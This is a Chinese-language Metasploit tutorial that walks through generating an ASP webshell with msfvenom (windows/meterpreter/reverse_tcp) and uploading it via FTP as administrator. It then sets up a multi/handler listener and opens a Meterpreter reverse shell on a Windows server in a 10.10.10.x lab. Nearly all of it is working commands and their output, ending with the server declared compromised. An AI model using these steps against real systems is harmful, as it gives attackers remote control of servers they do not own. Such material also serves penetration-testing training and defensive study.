Metasploit之生成webshell及應用
準備工具
1、kali 系統 IP 10.10.10.131
2、受害者機子 IP 10.10.10.130
3、使用工具 Metasploit
步驟:
1、在msf生成asp腳本木馬
[email protected]:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.131 -f asp > shell.asp
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
上傳shell.asp到受害者機子
[email protected]:~# ftp
ftp> open 10.10.10.130
Connected to 10.10.10.130.
220 Microsoft FTP Service
Name (10.10.10.130:root): administrator
331 Password required for administrator.
Password:
230 User administrator logged in.
Remote system type is Windows_NT.
ftp> put shell.asp ---上傳木馬檔案(注意這裡要放到asp的根目錄下)
2、登入msf控制台
[email protected]:~# msfconsole
# cowsay++
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit
=[ metasploit v4.11.5-2015103001 ]
+ -- --=[ 1500 exploits - 864 auxiliary - 251 post ]
+ -- --=[ 432 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
4、設定子產品
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(handler) > set LHOST 10.10.10.131
LHOST => 10.10.10.131
5、執行exploit指令看結果
msf exploit(handler) > exploit
[*] Started reverse handler on 10.10.10.131:4444
[*] Starting the payload handler...
[*] Sending stage (885806 bytes) to 10.10.10.130
[*] Meterpreter session 1 opened (10.10.10.131:4444 -> 10.10.10.130:1769) at 2015-12-24 20:04:45 +0800
注意:這裡需要執行一下網址:
http://10.10.10.130/shell.asp
這裡已經成功侵入伺服器
6、執行systeminfo指令
meterpreter > sysinfo
Computer : ROOT-TVI862UBEH
OS : Windows .NET Server (Build 3790).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x86/win32
7、侵入之後可以使用help檢視相關指令